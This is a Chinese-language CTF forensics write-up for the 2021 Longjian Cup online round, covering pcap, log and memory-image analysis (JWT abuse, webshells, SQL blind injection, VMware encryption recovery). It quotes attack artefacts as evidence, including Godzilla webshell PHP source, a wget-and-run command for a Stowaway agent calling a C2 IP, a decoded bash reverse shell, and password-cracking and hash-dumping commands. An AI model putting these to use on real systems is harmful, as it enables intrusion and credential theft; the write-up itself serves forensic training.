2021-陇剑杯-线上赛

第一届陇剑杯-线上赛

战队名称:翻身不成反糊底

战队排名:129

image-20240814161035462

一、签到

1、此时正在进行的可能是__________协议的网络攻击。(如有字母请全部使用小写,填写样例:http、dns、ftp)

在数据包中有许多http的错误请求。可以猜测攻击者使用http进行攻击,但是在tcp传输过程中爆出了更多错,应该一次ddos攻击。

image-20240814160930897

二、JWT

1、该网站使用了____认证方式(如有字母请全部是用小写)

根据题目JWT,然后提示有字母,直接尝试提交jwt成功

查看token认证,解析为jwt

image-20240814162037166

2、黑客绕过验证使用的jwt中,id和username是______。(中间使用#号隔开,例如1#admin)

打开流量包goroot.pcap,追踪http流

image-20240814162159055

根据题目要求获取id和username,直接全局搜索username获取到登录请求,返回包中会存在jwt认证token

image-20240814162259088

访问https://jwt.io/#debugger-io,对token进行解密得到答案。

image-20240814162338214

3、黑客获取webshell之后,权限是______?

翻找流量包发现命令执行请求目录为/exec,重点观察exec返回包,发现root

image-20240814162400456

4、黑客上传的恶意文件文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)

查看到文件写入/tmp/1.c

image-20240814162429583

5、黑客在服务器上编译的恶意so文件,文件名是_____________。(请提交带有文件后缀的文件名,例如x.so)

Looter.so文件的复制过程

image-20240814162443707

6、黑客在服务器上修改了一个配置文件,文件的绝对路径为_____________。(请确认绝对路径后再提交)

攻击者修改了/etc/pam.d/common-auth文件

image-20240814162458286

三、WebShell

1、黑客登录系统使用的密码是_____________。

直接找post请求的login接口,test:Admin123!@#

image-20240814162515501

2、黑客修改了一个日志文件,文件的绝对路径为_____________。(请确认绝对路径后再提交)

这里黑客使用模板注入,过滤post和响应成功的包,可以的到用户篡改的文件为Form item: "tpl" = "data/Runtime/Logs/Home/21_08_07.log"

Thinkphp模板注入

image-20240814162545408

3、黑客获取webshell之后,权限是______?

www-data

image-20240814162602414

4、黑客写入的webshell文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)

1.php

image-20240814162617175

5黑客上传的代理工具客户端名字是_____________。(如有字母请全部使用小写)

Frpc

image-20240814162632595

6、黑客代理工具的回连服务端IP是_____________。

在发现frpc.ini的上一个包里发现传输,应该是菜刀流量

image-20240814162647594

对密码xa5d606e67883a进行hex解码

image-20240814162659707

7、黑客的socks5的连接账号、密码是______。(中间使用#号隔开,例如admin#passwd)

同上

四、日志分析

1、网络存在源码泄漏,源码文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)

筛选日志中的200响应包,发现www.zip

image-20240814162722449

2、分析攻击流量,黑客往/tmp目录写入一个文件,文件名为_____________。

筛选日志中的200响应包,发现/tmp/sess_car

image-20240814162738278

3、分析攻击流量,黑客使用的是______类读取了秘密文件。

析写入文件的内容此处时python反序列化的串可以得到查看文件的对象为SplFileObject

image-20240814162749099

五、内存分析

工具:volatility

查看内存镜像信息

volatility -f Target1.vmem imageinfo

image-20240814162807035

使用hashdump命令获取用户名

volatility -f Target1.vmem --profile=Win7SP1x64 hashdump

image-20240814162823006

lsadump命令获取最后登录的用户

image-20240814162855107

查看内存中文件

volatility -f wuliao.data --profile=Win7SP1x64 filescan |grep "xxx"

image-20240814162908202

image-20240814162921934

导出exe文件

volatility -f Target1.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000007d8c7d10 -D ./ -u

image-20240814163117425

解压dat后缀文件获得文件夹

image-20240814163142936

打开后发现是加密后的图片文件,huawei加密备份

image-20240814163157029

使用解密工具

https://github.com/RealityNet/kobackupdec

工具一把梭,解密的密码按照前面txt提示把flag内容空格换成下划线,后面写文件夹的路径,再后面写导出文件的路径,导出文件的路径要写一个新的backup,工具会自动创建新的backup目录 将文件放进里面

python3 kobackupdec.py -vvv W31C0M3_T0_THiS_34SY_F0R3NSiCX "/root/Desktop/HUAWEI P40_2021-aa-bb xx.yy.zz" "/root/Desktop/test1"

image-20240814163221518

获取到images0.tar文件

解压文件获取到图片

image-20240814163302380

Pictures/flag/mmexport1630152510463.png

image-20240814163314839

1、虚拟机的密码是_____________。

(密码中为flag{xxxx},含有空格,提交时不要去掉)

2、虚拟机中有一个某品牌手机的备份文件,文件里的图片里的字符串为_____________。

Tips: no space but underline

(解题过程中需要用到上一题答案中flag{}内的内容进行处理。本题的格式也是flag{xxx},含有空格,提交时不要去掉)

六、简单日志分析

1、黑客攻击的参数是______。(如有字母请全部使用小写)

image-20240814163346261

2、黑客查看的秘密文件的绝对路径是_____________。

解密参数

image-20240814163357215

3、黑客反弹shell的ip和端口是_____________。(格式使用“ip:端口",例如127.0.0.1:2333)

image-20240814163408317

解码发现bash -i后面为乱码

然后注意到了中间的%2b

image-20240814163420566

将后半部分取出,urldecode后就清楚起来

image-20240814163432558

去掉加号,将后半部分进行base解码

image-20240814163443610

4、SQL注入

黑客在注入过程中采用的注入手法叫_____________。(格式为4个汉字,例如“拼搏努力”)

image-20240814163515086

image-20240814163528416

布尔盲注

5、黑客在注入过程中,最终获取flag的数据库名、表名和字段名是_____________。

(格式为“数据库名#表名#字段名”,例如database#table#column)

image-20240814163544487

Sqli#flag#flag

6、黑客最后获取到的flag字符串为_____________。

这里提取出payload中由select%20flag%20from%20sqli.flag)并寻找关键字 %C2%80

可以得到flag

每一个%C2%80代表匹配到了正确字符开始下一个字符匹配

image-20240814163612936

遍历处flag为

flag%7Bdeddcd67-bcfd-487e-b940-1217e668c7db%7D

image-20240814163624455

七、IOS

追踪tcp流

image-20240814163650168

image-20240814163704993

黑客在用户手机执行了命令,发送命令的手机主机为3.128.156.159

wget https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent && chmod 755 ios_agent

./ios_agent -c 3.128.156.159:8081 -s hack4sec

1、黑客所控制的C&C服务器IP是_____________。

3.128.156.159

2、黑客利用的Github开源项目的名字是______。(如有字母请全部使用小写)

wget https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent && chmod 755 ios_agent

3、通讯加密密钥的明文是____________。

./ios_agent -c 3.128.156.159:8081 -s hack4sec

4、黑客通过SQL盲注拿到了一个敏感数据,内容是____________。

检测以192.168.18到192.168.1.12的流量,通过key.log进行解密

image-20240814163725890

ip.addr == 192.168.1.12 and http2

遍历盲注信息,hex解码

image-20240814163745002

746558f-c84-456-85d-d6c0f2edabb2ZZZj

5、黑客端口扫描的扫描器的扫描范围是____________。(格式使用“开始端口-结束端口”,例如1-65535)

此时已经知道黑客代理在192.168.1.8上,过滤ip.src_host==192.168.1.8,观察发包的源地址和目的地址

10-499

image-20240814163804207

6、(待补充)被害者手机上被拿走了的私钥文件内容是____________。

7、黑客访问/攻击了内网的几个服务器,IP地址为____________。(多个IP之间按从小到大排序,使用#来分隔,例如127.0.0.1#192.168.0.1)

流量包中是192.168.1.12

Access.log中是172.28.0.3

image-20240814163821387

image-20240814163846396

8、黑客写入了一个webshell,其密码为____________。

日志记录中记录为fxxk

image-20240814163858049

八、(待补充)流量分析

1、攻击者的IP是_____________。

172.18.0.1

2、攻击者所使用的会话密钥是_____________。

DtX0GScM9dwrgZht

3、攻击者所控制的C&C服务器IP是_____________。

147.182.251.98

九、WIFI

1、小王往upload-labs上传木马后进行了cat /flag,flag内容为_____________。

(压缩包里有解压密码的提示,需要额外添加花括号)

(1)关注服务器.pcap

发现包序27之前基本都是加密流量,但在包序27的地方上传了马。

image-20240814163911045

追踪木马写入操作,进行解密

image-20240814163929822

通过CyberChef解密内容,结果为一段木马内容

image-20240814164022484

加入分析备注,为哥斯拉木马

@session_start();//创建会话
@set_time_limit(0);//防超时
@error_reporting(0);//关闭报错页
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}//加密算法,对$D进行加密
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
//这里是简化了马子,本来是三个参数再进行下面的运算
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);//base64加密
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        eval($payload);//session中的eval函数记录payload,这里是哥斯拉的强特征
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);//前后16位是md5,中间是base64加密
    }else{
        if (stripos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }//将payload存入session中
    }
}

(2)关注客户端.pcap

发现相关信息SSID=My_Wifi、HuaweiDe_4c:55:ec

image-20240814164042119

(3)处理Windows 7-dde00fa9.vmem

Imageinfo查看信息

image-20240814164618758

Cmdscan查看历史命令,发现export导出相关文件

image-20240814164649835

Filescan查看文件

volatility -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 filescan | grep zip

image-20240814164711551

Dumpfiles导出文件

volatility -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003fdc38c8 -D ./

image-20240814164725809

导出后发现是dat文件,打开发现需要密码

image-20240814164739530

根据提示,查看压缩文件备注。提示说明密码为网卡的GUID

image-20240814164751409

通过文件扫描命令查询

volatility -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 filescan | grep {

image-20240814164811867

或是知道网卡GUID和接口绑定执行

volatility -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 filescan | grep "Interfaces"

image-20240814164843413

解密压缩包, 是xml文件,看看里面有啥东西吧。

AES、passPhrase、 233@114514_qwe,应该是某个加密文件的密码,题目里也只剩下一个东西被加密了,那就是客户端pcap了。

image-20240814164903303

(4)解密客户端.pacp

通过airdecap-ng解密WPA/WPA2捕获流量包

image-20240814164924104

查看解密后客户端流量包

发现访问页面

image-20240814164944247

追踪到包序1077的response包,为上传页面

image-20240814165048253

包序1115上传1.php的response包

image-20240814165110388

(5)解密服务器.pcap中的key

fL1tMGI4YTljMX78f8Wo/yhTB1UCWKkQNeHS+H8ZqPssxy78L12DP+mUY5YUD4bUhRCDlWI47KXNfh4yMjQ=

image-20240814165131252

72a9c691ccdaab98fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=b4c4e1f6ddd2a488

image-20240814165207390

image-20240814165231788

十、机密内存

前言

内存分析、3个文件以及迷茫的我

先说迷茫的我

image-20240814165311554

内存分析,vol,冲!

image-20240814165336851

没冲出来,打开另外两个文件没有头绪最后G了

后续参考网上各位大佬WP完成复现

(一)、文件特征分析

题目共计3个文件

1、mem_secret-963a4663.vmem

显而易见为内存镜像文件,另外两个文件格式内容未知

2、Encryption.bin01

打开乱码无分析头绪

根据mem_secret-963a4663.vmem应该为运行状态虚拟机的内存页面文件,Encryption.bin02为VMware虚拟机执行加密过后的配置文件,结合常见虚拟机相关文件和文件大猜测Encryption.bin01为vmss文件,进一步对Encryption.bin01文件进行格式分析,可以发现该文件与vmware加密状态挂起的虚拟机vmss文件高度相似

image-20240814165405751 image-20240814165429559

3、Encryption.bin02

看到开头有关键字,搜索搜到一篇加载vm加密磁盘文章

image-20240814165507536

image-20240814165518841

根据关键字发现Encryption.bin02疑似加密后vmx配置文件

image-20240814165527567

本地加密测试虚拟机,对比加密vmx文件发现缺失编码格式与安全密钥2部分,同时多出lsilogic部分

image-20240814165608577

image-20240814165636533

检索🔍lsilogic,发现是是虚拟硬盘的数据流

4、总结

根据上述分析,题目中所给的文件全部为使用虚拟机加密过后的文件,因此后续的思路就是:找到虚拟机的密码,然后利用VMware加载虚拟机,将虚拟机加密功能关闭,就可以将所有文件还原成明文状态,此时就可以得到未加密状态的内存镜像,再使用volatility进行分析即可。

(二)、文件修复

判断该赛题给出的文件为vmware加密文件组,题目中出题人分别删除了vmx和vmss中的部分通用关键信息,分别对vmx、vmdk和vmss文件进行还原操作

1、mem_secret-963a4663.vmem(无需修复)

2、Encryption.bin01(调整文件名,以支持正常识别读取)

将Encryption.bin01文件重命名为mem_secret-963a4663.vmss,注意vmss文件的文件名一定要和vmem文件名对应,否则无法读取挂起的状态。

3、Encryption.bin02(拆分为vmdk、vmx,补充内容)

3.1 vmx部分(正确后可打开vmware页面)

对比正常文件和提供文件,发现缺失相关字段

image-20240814170113018

对比详细

image-20240814170134926

补充完善vmx如下

.encoding = "GBK"
displayName = "mem_secret"  
encryption.keySafe = "vmware:key/list/(pair/(phrase/Dg7Se8rqkNI%3d/pass2key%3dPBKDF2%2dHMAC%2dSHA%2d1%3acipher%3dAES%2d256%3arounds%3d10000%3asalt%3d%2b21PdYUqEQd1wdT2AoPEQw%253d%253d,HMAC%2dSHA%2d1,CgKwC5U7lfLjpVohwbpxufC11yU4a0%2byrP08oY0KDDcP1NL%2fRiLojwTz2JnYqm7baAhtgENYUeFUHXwODjSClaJ%2bSRBhKw6UwET6p3AYK8vs4T0cBrvTjYSrs0baLgG7dozcvL5JxA%2fKYJvriz4Mf%2bMmVvE%3d))"  
encryption.data = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

此时如补充无误,可以打开vmware界面查看信息

此处注意cipher参数,参考本地vmx加密模板ciper为XTS-AES-256,暴破后密码不变,但无法成功登入,修改为AES-256即可正常登入

image-20240816130148081

一开始尝试后缀当密码(刚好8位),但是不对,也没有提示,遂尝试暴破密码(工具:pyvmx-cracker),得密码为1q2w3e4r

#装PyCryptodome包就行
python pyvmx-cracker.py -v "../mem_secret-963a4663.vmx" -d .\wordlist.txt

image-20240816130207330

image-20240816130233318

成功破解后页面如下

image-20240816130310078

尝试运行提示缺失vmdk,尝试解密提示无法解密,只能恢复vmdk文件

imgimg

3.2 vmdk部分(正确后磁盘信息正常加载不报错)

根据硬盘路径重命名提取过vmx得文件为mem_secret.vmdk触发报错,待加载的虚拟机使用了VMware加密,vmdk也会一起加密,在打开的时候会先对vmdk进行解密操作,分析未加密虚拟机的vmdk和已加密虚拟机vmdk作比较,发现使用Encryption.bin02的结尾还有一段冗余数据直接替换自己生成的vmdk加密磁盘头部即可,后经过操作发现这段数据是VMware打开虚拟机时,对vmdk进行解密的密钥串,关系到加密虚拟机的vmdk能否正常解密,这时候就是磁盘数据。

image-20240816130400433

怀疑文件格式仍然存在问题

已知虚拟机相关配置,考虑自建同配置虚拟机,对比文件内容进行补全,可以看到系统信息为win10

创建一个新的虚拟机,创建的时候参数配置通过在Encryption.bin02的数据里捕风捉影(可以看出,出题人使用的都是默认配置),使用1q2w3e4r这个密码对虚拟机进行加密,然后将加密过后的虚拟机的vmdk文件拿出来给原来题目中提取的虚拟机使用,但是使用前需要替换掉头部的加密串信息。

(TODO:发现部分文章提到用其他密码加密或者不加密vmdk文件同样可覆盖使用)

imgimg

对比vmdk文件发现,除磁盘头外无其他差别

image-20240816130440711

发现共同文件头18 00 00 00,从这里开始复制替换,同时补充vmware头信息

image-20240816130502324

重命名后覆盖替换原mem_secret.vmdk,此时点击磁盘不报错,磁盘信息正常加载

image-20240816130508739

到这一步完成虚拟机完全修复

(三)、虚拟机解密分析

1、移除加密

使用已破解密码移除加密,注意:虚拟机不能点开机,否则内存镜像文件vmem将被删除,系统蓝屏无法分析

image-20240816130518907

2、内存分析

解密移除完成后,当前目录下的vmem文件即为未使用VMware加密的虚拟机内存镜像文件,根据系统信息确定为Windows10的内存镜像文件,使用Volatility3进行分析。(3.2创建虚拟机替换磁盘处可看到)

image-20240816130526489

此时可根据使用Volatility3可以看到操作系统版本是Windows10,且根据Major/Minor 15.18362可以确定具体的操作系统profile配置文件。

在Volatility2 中使用--info看到具体对应的profile为Win10x86_18362,此后即可回归到volatility2,手动指定profile也可解题。

题目一:取证人员首先对容器的基本信息进行核实,经过确定该容器的基本信息为**__**

(答案为32位小写md5(容器操作系统系统的版本号+容器主机名+系统用户名),例如:操作系统的版本号为10.0.22449,容器主机名为DESKTOP-0521,系统登录用户名为admin,则该题答案为32位小写md5(10.0.22449DESKTOP-0521admin) 的值ae278d9bc4aa5ee84a4aed858d17d52a)

flag{md5(6.3.18362DESKTOP-4N21ET2Ado)} = flag{53de6f2170f1c24cdfa502751dc861b0}

容器操作系统系统的版本号

#注册表查询(计算机主机名注册表位置:[SYSTEM\ControlSet001\Control\ComputerName\ComputerName])
#系统版本号的信息主要来自ProductVersion属性的值次属性为REQUIRED,在这个注册表的键值中的[buildLab,CurrentVersion]都是派生自ProductVersion属性的值。
#字符串的格式如下:主要版本号.次要版本号.内部版本号
#通过这个键值中的CurrentVersion + BuildLab 可以拼接出完整的产品版本
python vol.py -f .\mem_secret-963a4663.vmem windows.registry.printkey --key "Microsoft\Windows NT\CurrentVersion"

image-20240816130545344

容器主机名

#注册表查询(计算机主机名注册表位置:[SYSTEM\ControlSet001\Control\ComputerName\ComputerName])
python vol.py -f .\mem_secret-963a4663.vmem windows.registry.printkey --key "ControlSet001\Control\ComputerName\ComputerName"

image-20240816130556286

系统用户名

#注册表查询(系统用户名注册表位置:[SAM\Domains\Account])
python vol.py -f .\mem_secret-963a4663.vmem windows.registry.printkey --key "SAM\Domains\Account\Users\Names" 
#桌面路径

img

img

题目二:黑客入侵容器后曾通过木马控制端使用Messagebox发送过一段信息,该信息的内容是__。

(答案为Messagebox信息框内内容)

flag{Best_hacker}

image-20240816130740515

题目三:经过入侵分析发现该容器受到入侵的原因为容器使用人的违规进行游戏的行为,该使用人进行游戏程序的信息是***__***。

(答案为“32位小写md5(游戏程序注册邮箱+游戏程序登录用户名+游戏程序登录密码),例如:注册邮箱为adol@163.com,登录用户名为user,密码为user1234,则该题答案为” adol@163.comuseruser1234”的小写md5值5f4505b7734467bfed3b16d5d6e75c16)

flag{md5(john@uuf.mejock_you1jock.2021)} = flag{39a9ac5a37f4a4ce27b1227cf83700a6}

#应当是导出内存进行分析,记录下vol3的导出命令
#pslist导出,没有账号密码信息
 python vol.py  -f ../mem_secret-963a4663.vmem -o ../  windows.pslist.PsList --pid 6996   --dump
#memap导出,有账号,但是密码没有
python vol.py  -f ../mem_secret-963a4663.vmem  -o ../ windows.memmap.Memmap --pid 6864 --dump
#vaddump同memap结果,差别是导出为多文件
python2 vol.py  -f ../mem_secret-963a4663.vmem --profile=Win10x64_18362 vaddump -p 6864 -D ../
#通过strings steam/* | grep -i 'jock'匹配,仅有账号无密码
#最终只能通过strings硬匹配全量文件

(1)游戏程序登录用户名jock_you1

同登录密码一起出来了,还有根据SteamUser进行检索

strings mem_secret-963a4663.vmem| grep SteamUser

image-20240816130753837

(2)游戏程序注册邮箱john@uuf.me

方法一:根据登录昵称搜索发现

winhex检索john,发现john@uuf.me

方法二:strings [内存文件名] | grep -E "[0-Z_]+\[0-Z]+.[0-Z]+"

strings mem_secret-963a4663.vmem| grep -E "[0-Z_]+\[0-Z]+.[0-Z]+"

(3)游戏程序登录密码jock.2021

strings mem_secret-963a4663.vmem| grep password

image-20240816130808834

题目四:经过入侵分析发现该容器曾被黑客植入木马控制的信息是***_***。

(答案为“32位小写md5(木马程序进程名+木马回连ip地址+木马回连ip端口)”,例如:木马程序进程名为svhost.exe,木马回连ip为1.1.1.1,木马回连端口为1234,则该题答案为“svhost.exe1.1.1.11234”的32位小写md5值f02da74a0d78a13e7944277c3531bbea)

flag{md5(steam.exe192.168.241.1478808)}=flag{896fad7d65bd117811facdd6a9b11421}

#查找恶意代码注入
python vol.py  -f ../mem_secret-963a4663.vmem  -o ../   windows.malfind

image-20240816130819140

这里我导出5004-steam.exe的时候,终端报毒隔离了

image-20240816130843014

通过psscan、pslist、pstree分析

程序名 WOW64 描述
smartscreen.exe false windowsdefender组件
QQ.exe true 存在同名进程,实际为父子进程关系,路径正常无明显问题
steam.exe true 存在同名进程,为不同程序,报代码注入并报毒的程序路径也非正常路径,另一个steam.exe为其余steamhelper进程父进程,正常程序路径

通过netscan看

image-20240816130855268

IP 端口 描述
202.89.233.100 443 Microsoft/Azure
52.139.153.205 443 Microsoft/Azure
192.168.241.147 8808 可疑私网地址
题目五:经过入侵分析,发现黑客曾经运行过痕迹清除工具,该工具运行的基本信息是**__**

(答案为“32为小写md5”(痕迹清除工具执行程序名+最后一次运行时间),例如:黑客运行工具执行程序名为run.exe,运行时间为2021-07-10 10:10:13,则本题的答案为小写的32位md5(run.exe2021-07-10 10:10:13) 值为82d7aa7a3f1467b973505702beb35769,注意:本题中运行时间的格式为yy-mm-dd hh:mm:ss,时间时区为UTC+8)

需要分析程序最后运行时间,使用userassist注册表分析程序的运行情况,并结合filescan扫描容器内文件情况,二者结合可以发现存储在容器桌面的无影无踪痕迹清理软件,该软件的程序执行名为:Wywz.exe,程序的运行时间结合userassist可以发现为2021-09-10 21:10:13 UTC+8(注意时区的转换),则该题答案为小写32位md5(Wywz.exe2021-09-1021:10:13)

🧐有趣的是,filescan、userassist在vol3中识别信息遗漏非常多,但使用vol2没有任何问题。

flag{d46586ca847e6be1004037bc288bf60c}

#volaility3通过windows.registry.userassist.UserAssist
python vol.py -f '/home/kali/Desktop/mem_secret-963a4663.vmem' windows.registry.userassist.UserAssist
#volaility通过userassist导出可以看到无影无踪
python2 vol.py  -f ../mem_secret-963a4663.vmem --profile=Win10x64_18362 userassist

#volaility3

image-20240816130923213

#volaility

image-20240816130938896

程序 描述
%windir%\system32\SnippingTool.exe Windows自带截图工具
%windir%\system32\mspaint.exe Windows画图工具
%windir%\system32\notepad.exe Windows操作系统文本编辑器
%windir%\system32\oobe\FirstLogonAnim.exe Windows OOBE 动画模拟
C:\Users\Ado\AppData\Local\Temp\vmware-Ado\00007bec\setup64.exe vmtools安装工具
%ProgramFiles%\Google\Update\GoogleUpdate.exe Chrome 谷歌浏览器更新
C:\Users\Ado\Downloads\SteamSetup.exe Steam安装程序
C:\Users\Ado\Downloads\PCQQ2021.exe QQ2021安装程序
C:\Users\Ado\Desktop\WYWZ\Wywz.exe 无影无踪痕迹清理工具
知识点1:vmx配置

vmx文件位于虚拟机实例的主目录下,用于记录虚拟机的配置——如虚拟机的内存、硬盘型号等,可以通过打开这个虚拟机文件以启动虚拟机的操作系统,我们也通过编辑该文件实现某种对虚拟机的配置需求。

对于同一虚拟机,在使用虚拟机加密操作前的vmx文件与加密后vmx文件是有所不同的

未加密的vmx文件是明文显示的,显示了这个虚拟机的显示名称,cpu配置,内存配置等等。

下图是为未加密的vmx文件

image-20240816130959786

加密后vmx文件结构为

第一行指定编码格式

第二行是安全密匙(Url 编码的密匙信息+ Base64 编码的密匙)

第三行是Base64 编码的加密数据

加密后的配置只需要.encoding、displayName、encryption.keySafe和encryption.data字段的内容,.encoding为虚拟机配置文件的编码,displayName为虚拟机的名称,encryption.keySafe字段存储了虚拟机密码,格式为vmware:key/list/xxxxxxxxx ,encryption.data是原来明文数据加密过后的结果。

image-20240816131023376

知识点2:虚拟机加密

在虚拟机——设置——选项——访问控制处可以配置虚拟机加密

image-20240816131034783

知识点3:lsilogic

介绍:LSI Logic控制器是一种虚拟化的存储控制器,主要用于 VMware 虚拟化环境中的虚拟机。LSI Logic 控制器提供了一种模拟的 SCSI(Small Computer System Interface)控制器,使虚拟机能够连接和管理虚拟硬盘和其他存储设备。

使用场景

LSI Logic 控制器通常用于以下场景:

  • 操作系统兼容性:某些操作系统(如 Windows Server 2003)可能需要特定的 SCSI 控制器类型来正常运行。

  • 性能需求:对于需要高性能存储访问的虚拟机,LSI Logic 控制器可能提供更好的性能。

  • 存储管理:LSI Logic 控制器允许虚拟机管理多个虚拟硬盘和其他存储设备,提供灵活的存储配置选项。

配置 LSI Logic 控制器

在 VMware 虚拟机配置文件(.vmx)中,可以配置 LSI Logic 控制器。以下是一个配置示例:

scsi0.present = "TRUE"
scsi0.virtualDev = "lsilogic"
scsi0.pciSlotNumber = "16"

对于 LSI Logic SAS 控制器,可以使用 lsisas1068

scsi0.present = "TRUE"
scsi0.virtualDev = "lsisas1068"
scsi0.pciSlotNumber = "16"

在 VMware Workstation 中的设置

在 VMware Workstation 中,您可以通过以下步骤为虚拟机添加或修改 LSI Logic 控制器:

  1. 打开 VMware Workstation 并选择您要配置的虚拟机。

  2. 点击“编辑虚拟机设置”。

  3. 在硬件选项卡中,点击“添加”按钮,选择“硬盘”或“现有硬盘”。

  4. 在选择控制器类型时,选择“LSI Logic”或“LSI Logic SAS”。

  5. 保存设置并启动虚拟机。

总结

LSI Logic 控制器是一种虚拟化的存储控制器,用于 VMware 虚拟化环境中的虚拟机。它提供了模拟的 SCSI 控制器,使虚拟机能够连接和管理虚拟硬盘和其他存储设备。LSI Logic 控制器有两种主要类型:LSI Logic Parallel 和 LSI Logic SAS,分别适用于不同的操作系统和性能需求。通过在虚拟机配置文件中或通过图形用户界面配置,可以轻松地为虚拟机添加或修改 LSI Logic 控制器,以满足操作系统兼容性和性能需求。

此处题目中是lsilogic,winxp不支持lsilogic是ide,而且vmx和vmdk两端数据直接有一段空行NUL数据

知识点4:vmware虚拟机常见文件类型及大小

1、vmx文件:表示虚拟系统文件,我们用虚拟机程序打开这个文件以启动虚拟系统。
2、vmem文件:表示虚拟内存文件,与pagefile.sys(亦称分页文件)同。当虚拟系统执行关机操作后,vmem文件消失,但挂起关闭时,不消失。
3、vmdk文件:表示虚拟机的一个虚拟磁盘。
4、vmss文件:执行挂起操作后产生的文件。(用于储存虚拟机在挂起状态时的信息,为执行挂起操作后产生的文件,相当一个快照图片)
5、当运行一个“虚拟系统”时,为防止该系统被另外一个VMware程序打开,导致数据被修改或损坏,VMware会自动在该“虚拟系统”所在的文件夹下,生成三个锁定文件
(虚拟系统锁定,虚拟磁盘锁定,虚拟内存锁定),分别为:
”systemType.vmx.lck”,”systemType.vmdk.lck”,”systemTyep.vmem.lck”。

6、vmsn文件: VMware 虚拟机快照文件,主要用于存储虚拟机快照的信息。这些文件包含了虚拟机在创建快照时的状态,包括内存状态、虚拟机设置以及磁盘的增量更改等。

知识点5:Wow64

WOW64(Windows-On-Windows 64bit)是X64 Windows操作系统的一个子系统,为32位应用程序提供运行环境。类似的还有WOW32子系统,负责在32位Windows系统上运行16位应用程序。

WoW64存在的原因还要从CPU的发展上开始说,X86指令集是一个指令集架构家族,最初在Intel 8086处理器中引入,开始它主要用于16位系统。从Intel 386处理器发布开始升级为32位,并且32位指令集一直保持了很久。了解32位系统的都知道32位CPU将内存空间限制到了4G(单一用户模式进程至少是这样)。随着RAM的越来越大,4G限制就成了瓶颈,系统无法使用更大的内存空间。于是2001年Intel发布了64位的IA64架构,它是一个全新的架构,架构设计非常清晰,比老的X86架构要更好。对于软件来说兼容性很重要,但是IA64处理器无法运行X86代码,这样问题就很严重了,已有的软件无法在新的CPU上运行。于是在2003年AMD发布了AMD64架构,它是对X86架构的增量更新,用于添加64位支持。这种架构的X64处理器可以执行X86代码,所以用户可以在X64处理器上运行现有的程序和操作系统。直到今天,X86和X64依旧是个人计算机和笔记本电脑使用CPU的主流。

如果这个程序是64bit在64bit的系统下运行,则不是Wow64模式,会返回False;
如果这个程序是32bit在64bit的系统下运行,则是Wow64模式,会返回True;
如果这个程序是32bit在32bit的系统下运行,则不是Wow64模式,会返回False;

在内存取证中不能直接通过Wow64笃定为恶意程序,只能证明有嫌疑的可能,需要通过多方面去取证去证实,但是看Wow64也是一个不错的选择!

TODO

❓发现部分文章提到用其他密码加密或者不加密vmdk文件同样可覆盖使用,原因猜测为vmdk有文件外壳标识,是否加密不影响外壳标识

❓恶意程序导出执行报错,待跟进排查原因,是导出问题还是动调手段方式待学习

参考
[先知社区]: https://xz.aliyun.com/t/10284?time__1311=Cqjx2DcDgDnieGNDQiuDYupAWRpx7K03x "2021陇剑杯-机密内存-解题过程分析"

posted @ 2024-08-16 13:43  骑虎牧羊  阅读(604)  评论(3)    收藏  举报